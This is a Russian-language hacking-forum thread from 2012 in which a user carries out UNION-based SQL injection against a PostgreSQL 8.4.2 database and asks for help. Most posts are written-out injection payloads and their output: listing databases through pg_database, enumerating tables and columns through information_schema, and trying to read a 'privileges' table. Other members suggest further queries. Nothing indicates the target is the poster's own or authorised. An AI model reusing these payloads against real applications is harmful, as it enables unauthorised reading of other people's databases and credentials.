HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.06.2012, 03:13
Cnekmp
Новичок
Регистрация: 19.02.2006
Сообщений: 16
С нами: 10643155

Репутация: 0
По умолчанию

Версия: PostgreSQL 8.4.2

Выполняю запрос:

Код HTML:
-' union select null,null,null,null,null,current_database()--
Ответ:

somedatadb

Второй запрос:

Код HTML:
-' union select null,null,null,null,null,datname FROM pg_database--
Ответ:

db1

db2

db3

Вопрос: Как можно смодулировать запрос с учетом предыдущего примера запроса, чтобы посмотреть содержимое db2. (пользователь имеет доступ на просмотр)

Пробывал

Код HTML:
-' union select null,null,null,null,null,table_name FROM db2--
но не работает. Может я что-то делаю не правильно?
 
Ответить с цитированием

  #2  
Старый 24.06.2012, 04:06
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию

Для начала начните использовать information_schema в PostgreSQL она тоже есть!
 
Ответить с цитированием

  #3  
Старый 24.06.2012, 04:09
Cnekmp
Новичок
Регистрация: 19.02.2006
Сообщений: 16
С нами: 10643155

Репутация: 0
По умолчанию

Делал уже, но как-то выдает таблицы базы в которой я нахожусь а не соседней:

Код HTML:
-' union select null,null,null,null,null,table_name FROM information_schema.tables WHERE table_schema = 'public'--

-' union select null,null,null,null,null,column_name FROM information_schema.columns WHERE table_name ='user_log'--

-' union select null,null,null,null,null,var_name FROM user_log--
Но мне нужен запрос который "покажет" соседнюю базу.
 
Ответить с цитированием

  #4  
Старый 24.06.2012, 04:43
A_n_d_r_e_i
Участник форума
Регистрация: 02.09.2009
Сообщений: 286
С нами: 8784803

Репутация: 257
По умолчанию

schema_name from information_schema.schemata

Если не ошибаюсь
 
Ответить с цитированием

  #5  
Старый 24.06.2012, 05:05
Cnekmp
Новичок
Регистрация: 19.02.2006
Сообщений: 16
С нами: 10643155

Репутация: 0
По умолчанию

Разобрался:

Этот запрос показывает все таблицы (включая таблицы других баз)

Код HTML:
-' union select null,null,null,null,null,table_name FROM information_schema.tables
Показываем колонны в найденных таблицах:

Код HTML:
-' union select null,null,null,null,null,column_name FROM information_schema.columns WHERE table_name ='privileges'--
Вывод:

server_ID

usr_ID

priv_type

А как собственно посмотреть данные этих колонн?

Такой запрос просто не показывает каких либо данных....

Код HTML:
-' union select null,null,null,null,null,cast(server_ID as text) FROM privileges--
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.